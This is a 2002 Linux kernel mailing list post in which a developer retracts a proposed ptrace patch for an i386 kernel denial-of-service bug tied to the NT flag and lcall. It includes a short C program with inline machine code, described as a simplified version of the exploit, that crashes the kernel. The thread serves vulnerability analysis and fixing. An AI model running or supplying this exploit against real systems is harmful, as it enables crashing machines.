Re: FW: i386 Linux kernel DoS

Andrea Arcangeli (andrea@suse.de)
Thu, 14 Nov 2002 05:10:03 +0100


On Thu, Nov 14, 2002 at 04:05:41AM +0100, Andrea Arcangeli wrote:
> On Wed, Nov 13, 2002 at 12:10:19AM +0000, Alan Cox wrote:
> > On Tue, 2002-11-12 at 23:31, Christoph Hellwig wrote:
> > > On Tue, Nov 12, 2002 at 02:28:55PM -0900, Leif Sawyer wrote:
> > > > This was posted on bugtraq today...
> > >
> > > A real segfaulting program? wow :)
> >
> > Looks like the TF handling bug which was fixed a while ago
>
> Program received signal SIGSEGV, Segmentation fault.
> 0xc01097d9 in restore_all ()
> (gdb) bt
> #0 0xc01097d9 in restore_all ()
> #1 0xbfffe4b7 in ?? ()
>
> c01097d9: cf iret
>
> it's the NT not the TF. iret is called with NT set and the cpu
> follows the back link which is zero (we never use hardware task
> switching and nt is artificially set so it would lead to kernel
> malfunction anyways).
>
> the TF was fixed a while ago as you said and that's fine now.
>
> we just can't allow userspace to set NT or iret will crash at ret from
> userspace, furthmore there's no useful thing the userspace can do with
> the NT flag.
>
> here the fix, it applies to all 2.4 and 2.5:
>
> --- 2.4.20rc1aa2/arch/i386/kernel/ptrace.c.~1~ Fri Aug 9 14:52:06 2002
> +++ 2.4.20rc1aa2/arch/i386/kernel/ptrace.c Thu Nov 14 03:56:00 2002
> @@ -28,7 +28,7 @@
>
> /* determines which flags the user has access to. */
> /* 1 = access 0 = no access */
> -#define FLAG_MASK 0x00044dd5
> +#define FLAG_MASK 0x00040dd5
>
> /* set's the trap flag. */
> #define TRAP_FLAG 0x100

sorry, this is the wrong fix, it happened to fix the problem for the
only testcase working out there because such a testcase was written in a
way that used ptrace to set the eflags instead of a more simple
pushf popf lcall like this:

int main( void )
{
char dos[] = "\x9C" /* pushfd */
"\x58" /* pop eax */
"\x0D\x00\x41\x00\x00" /* or eax,4100h */
"\x50" /* push eax */
"\x9D" /* popfd */
"\x9A\x00\x00\x00\x00\x07\x00"; /* call 07h:00h */

void (* f)( void );

f = (void *) dos; (* f)();

return 1;
}

(note the above is differnet to the one posted on bugtraq, the above one
is a simple version of the "working" exploit posted to l-k)

I clearly misunderstood how the nt works, it is read from the in core
eflags, not from the copy on the stack, so my patch won't make any
difference as far as the kernel is concerned and the only problem was
again with lcall, so the right fix is the last one from Petr. sorry for
the spam.

Andrea
-
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
Please read the FAQ at http://www.tux.org/lkml/